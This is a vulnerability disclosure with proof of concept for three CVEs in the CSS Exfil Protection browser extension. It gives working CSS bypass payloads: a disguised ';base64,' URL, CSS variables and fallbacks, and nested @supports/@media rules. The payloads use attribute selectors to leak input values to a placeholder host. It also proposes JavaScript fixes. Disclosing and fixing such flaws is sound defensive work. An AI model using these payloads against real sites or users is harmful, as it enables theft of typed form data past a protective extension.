## https://sploitus.com/exploit?id=E5367A96-6B68-5E89-B1D8-8EB7B0784AE2
# CSS Exfil Protection PoC
**Test Page:** https://randshell.github.io/CSS-Exfil-Protection-POC/
**PoC screenshot:**
![image](https://github.com/mlgualtieri/CSS-Exfil-Protection/assets/43271778/6c5c6102-221a-4b08-824f-11911fd04fa6)
## CVE-2024-29384
https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L242
In the current version of the extension, the above line is responsible for detecting all the URLs that contain `//`, unless the `;base64,` value is found. This would indicate the content is base64 encoded, e.g.: `url(data:image/png;base64,iVBORw0KGgoAAAANSU+h//EUgAAAaQAAA/GkCAYAAAB+TFE)`. In this case, the extension will ignore such rule.
The problem lies in not enforcing a strict matching of the `;base64,` at the beginning of the `url()`. Thus, it's possible to craft a non base64 encoded URL by inserting this value as either an URL fragment, like `http://url/pwned1.png#;base64,`, or even as a filename, since the special characters `;` and `,` are valid within an URL and within a filename, so `http://url/;base64,pwned11.png`.
The proposed fix I've found is changing the conditions to a stricter match, so:
```js
(cssText.indexOf("//") !== -1 &&
cssText.indexOf("url((\"|')data:[w]+/[w]+;base64,") === -1)
```
## CVE-2024-33436
CSS variables allow to split the CSS selector and the `url()` value in two different CSS Style Rules. In the context of this extension, the checks happen only for CSS selectors and `url()` in the same `CSSStyleRule`, so using CSS variables would allow for a bypass. E.g.:
```css
:root {
--link: url( 'http://url/pwned2.png' );
}
#exfil_test2[value*="abc"] ~ #exfil_img2 {
background-image: var(--link);
}
```
Another similar way to insert a malicious URL is through CSS fallback values:
```css
:root {
--link: url( 'http://url/pwned2.png' );
}
#exfil_test2[value*="abc"] ~ #exfil_img2 {
background-image: var(--nolink, var(--link));
}
```
## CVE-2024-33437
https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L236
Lastly, the above condition checks if the CSS Rule has any `selectorText` property, otherwise there is nothing to filter. This works for `CSSStyleRule` but not for others like `CSSSupportsRule` or `CSSMediaRule`, which in turn contain one or more `CSSStyleRule` and have no `selectorText`.
E.g.
```css
@supports (display: flex) {
@media screen and (min-width: 100px) {
#exfil_test3[value*="abc"] ~ #exfil_img3 {
background-image: url("http://url/pwned3.png");
}
}
}
```
In fact, these rules can also be nested multiple times, like for example:
```css
@supports (display: flex) {
@media screen and (min-width: 100px) {
#exfil_test3[value*="abc"] ~ #exfil_img3 {
background-image: url("http://url/pwned3.png");
}
}
@supports (display: none) {
@media screen and (min-width: 200px) {
#exfil_test31[value*="abc"] ~ #exfil_img31 {
background-image: url("http://url/pwned31.png");
}
}
}
}
```
![image](https://github.com/mlgualtieri/CSS-Exfil-Protection/assets/43271778/8528af91-c786-45c8-a9d2-739039df6663)
This means we would need to iterate through all the nesting, if present, in order to extract all the `CSSStyleRule`, which are the ones we need instead.
The proposed fix I've found is the following. First, I've created a function which takes care of recursively extracting all the style rules:
```js
function extractStyleRule(_obj) {
let rules = [];
if (
Object.prototype.toString.call(_obj) != "[object CSSStyleRule]" &&
_obj.cssRules != undefined // keyframes have no cssRules
) {
for (let i = 0; i < _obj.cssRules.length; i++) {
rules = rules.concat(extractStyleRule(_obj.cssRules[i]));
}
} else {
rules.push(_obj);
}
return rules;
}
```
And then I've edited the beginning of `parseCSSRules()` before looping through all the selectors:
```js
var selectors = [];
var selectorcss = [];
trules = [];
if (rules != null) {
for (i = 0; i < rules.length; i++) {
if (Object.prototype.toString.call(rules[i]) != "[object CSSStyleRule]") {
var extracted_rules = extractStyleRule(rules[i]);
//rules.splice(i,1);
trules = trules.concat(extracted_rules);
} else {
trules.push(rules[i]);
}
}
rules = trules; // or rename rules[0] to trules[0] everywhere in the function
```